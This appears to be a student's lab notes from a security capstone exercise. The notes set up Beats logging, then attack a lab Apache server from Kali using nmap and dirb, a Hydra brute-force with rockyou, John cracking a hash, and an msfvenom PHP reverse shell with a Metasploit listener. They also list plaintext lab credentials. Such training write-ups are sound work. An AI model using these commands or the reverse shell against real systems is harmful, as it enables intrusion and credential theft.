## Setting up Beats on Capstone

This is done for logging that attacks before attacking

* + Log into capstone
    - Vagrant:tnargav
  + Sudo su
  + Filebeat modules enable apace
  + Filebeat setup
  + Metricbeat modules enable apache
  + Metricbeat setup
  + Packetbeat setup
  + Systemctl restart filebeat
  + Systemctl restart metricbeat
  + Systemctl restart packetbeat

## Attacking capstone from kali

* Determine capstone ip
  + Run ifconfig on kali to determine subnet
    - Kali IP | 192.168.1.90
  + Run nmap against 192.168.1.1/24
    - * Nmap 192.168.1.0/24
    - Did not give enough information. Needed to run -sV to get more information
      * Nmap -sV 192.168.1.0/24
    - 192.168.1.100
      * Elastic Search | Ubuntu
    - 192.168.1.105
      * Apache | Ubuntu
    - Open <http://192.168.1.105>
  + Run dirb against apache server
    - Dirb <http://192.168.1.105>
      * Returned
        + \*/server-status

Access Forbiden

* + - * + \*/webdav

Username:Password login

* + Run Hydra against \*/company\_folders\_secret\_folder
    - Find wordlists
      * Locate rockyou
    - Cd /usr/share/wordlists
    - Ls
    - Gunzip rockyou.txt.gz
    - Ls
      * To verify unzip
    - Hydra help to see options/flags
    - Ashton manages secret folder
      * Use username ashton
    - Hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company\_folders/secret\_folder
      * ashton:leopoldo
    - open connect to corp server
      * webdav
      * ryan’s account
      * ryans hash
        + “d7dad0a5cd7c8376eeb50d69b3ccd352”
      * Echo d7dad0a5cd7c8376eeb50d69b3ccd352 > hash.txt
      * John hash.txt
      * John -show hash.txt
        + Ryan:linux4u
  + Upload reverse shell php
    - Msfvenom -p php/reverse\_php LHOST=192.168.1.90 LPORT=4445 -f raw > exploit.php
  + Create listener
    - Msfconsole
      * Use exploit/multi/handler
      * Set LHOST 192.168.1.90
      * Set LPORT 4445
      * Set exploit php/reverse\_php
    - Exploit
  + Cd /
  + Ls
  + Cat flag.txt